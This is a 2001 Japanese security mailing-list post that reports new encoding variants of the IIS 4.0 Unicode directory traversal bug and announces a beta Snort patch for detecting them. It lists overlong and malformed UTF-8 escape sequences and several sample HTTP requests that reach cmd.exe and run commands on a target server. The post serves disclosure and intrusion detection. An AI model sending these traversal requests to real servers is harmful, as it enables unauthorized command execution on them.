Date: Fri, 23 Mar 2001 20:12:43 +0900 From: Koji Shikata To: fw-novice@firewall.gr.jp Subject: [fw-novice:2046] IIS Unicode attack other pattern & Snort patch about Unicode Message-Id: <20010323201243.192b4324.shikap@yk.rim.or.jp> X-Mailer: Sylpheed version 0.4.61 (GTK+ 1.2.8; Linux 2.2.16-5k; i686) Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-2022-JP Content-Transfer-Encoding: 7bit Sender: owner-fw-novice@firewall.gr.jp Reply-To: fw-novice@firewall.gr.jp X-Ml-Name: fw-novice X-Ml-Count: 2046 X-Sequence: fw-novice 2046 はじめまして、しかPこと、鹿田と申します。 あらい@ラック様の協力を得て、IIS4.0のUnicodeを用いた脆弱性について、 新しい知見がありましたので、ここにご報告させていただきます。 あわせて、今回、snort1.7のIIS Unicode attack detectionの誤検知を抑制する パッチ(ただしβ版)を作成、公開しましたので、これについても あわせて報告させていただきます。 まず、今までに確認されたパターンを紹介し、それから新しいパターンについて 報告いたします。 ------------------------------------------------------------------------ Unicode攻撃について詳細な調査があらい@ラックさんによって行われました。 http://www.firewall.gr.jp/mlarchive/html/fw-wizard/2000/11/msg00006.html また、これに続いて、いくつかのパターンが発見されています。 (上記URLで始まる一連のスレッドです) こちらのMLには、上記情報は流れてなかった、と記憶していますので、 ざっと過去に確認されているUnicode(UTF-8エンコード)パターンを 以下に示しておきます。(以下、すべてIIS4.0日本語版による) UTF-8 -> decode後の順で書いてあります。 %c0%af->'/' %c1%9c->'\' %c0%ae->'.' %e0%80%af->'/' %e0%81%9c->'\' ここまでが、まともなUTF-8コードそのもので、 通るのが確認されているパターンです。 %e0%80%ae->'.' これがまともなコードでたぶん通るんじゃないかと思うものです。 その他、UTF-8は1バイト表現と4バイト表現があるようですが、 少なくとも4バイト表現は問題なし、ということです。 また、風変わりなUTF-8転置パターンとして、以下のものがあります。 %c0%9v->'/' %c0%qf->'/' %c1%8s->'\' %c1%pc->'\' %e0%80%9v->'/' %e0%80%qf->'/' %e0%81%8s->'\' %e0%81%pc->'\' これらはすべて、16進表示になっていない文字について16文字分 さかのぼり(例:vは16文字さかのぼるとf)16進変換できるように します。ただし、%??の下位文字(例:%9vの場合v)が上記変換されている 場合、上位の文字を+1します。(例:%9vの場合、9+1=a) この考え方が絶対かどうかはわかりませんが、どうやらそういうことの 様です。 ------------------------------------------------------------------ 以上が、今までに確認されている、Unicodeを用いた攻撃に使用される パターンです。 上記のパターンを用いることで、例えば http://targethost/scripts/..%c09v../winnt/system32/cmd.exe?/c+dir の様に,相対パスを用いたシェルの起動などが行えるようになります。 一般的に、「.」、「/」、「\」などの文字はWWWサーバ側できちんとフィルタ する必要がありますが、IISの場合はUnicodeで送信するとそのフィルタを 擦り抜けることができる、というわけです。 ---------------------------------------------------------------------- 新しいパターンについて報告します。 新しいパターンは、上記の風変わりな転置パターンに関係します。 過去に確認できていたパターンはすべてUnicodeの最後の%??のみ転置されて いるものだけでしたが、今回、あらい@ラックさんの協力により、 「どの%??を転置しても同様の結果が得られる」 ということが確認されました。 例として、以下にテストで攻撃に使用できることが確実であることが 確認されたものを示します。 ------------------------------------------------------------------- GET /scripts/..%u0%80%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0 GET /scripts/..%e0%o0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0 GET /scripts/..%u0%o0%qf../winnt/system32/cmd.exe?/c+dir HTTP/1.0 GET /scripts/..%s0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0 ------------------------------------------------------------------- これらの結果から考えると、2バイト表現、3バイト表現にかかわらず、 IIS4.0日本語版においては、どの場所を転置しても、転置していないものと 同等の結果が生じる、ということになります。 この脆弱性を悪用した攻撃を、IDSのルールセットを整備することで検知する のは、膨大なルールを定義する必要があるため、困難ではないかと思われます。 以上、Unicodeを悪用した攻撃に使用される可能性のあるパターンについて の報告を終わります。 ここからは手前味噌ですが、パッチ情報です。 Unicodeアタックの検知をより精度よく行えるようにするため、 みっきーさんを初めとするSecurity Talk MLの皆さんの協力の元、 snort1.7に元々実装されているdetection systemのパッチを作成しました。 ただし、今、このメールを書いている段階では上記の新しいattackパターンは 検知できません。来週(3/26週)の初めには検知可能なパッチに差し替える 予定です。 今からでもパッチを使ってみたい、という方がいらっしゃいましたら、 下記URLにアクセスしてみてください。 http://www.yk.rim.or.jp/~shikap/patch/index.html 完全に誤検知を抑制するまでには至っていませんが、それなりに誤検知は 減りますので、ぜひぜひ使ってみてください。 以上、長文、乱文をご容赦ください。 ==========================   鹿田 幸治       Koji.Shikata    E-Mail:shikap@estech.co.jp :shikap@yk.rim.or.jp ==========================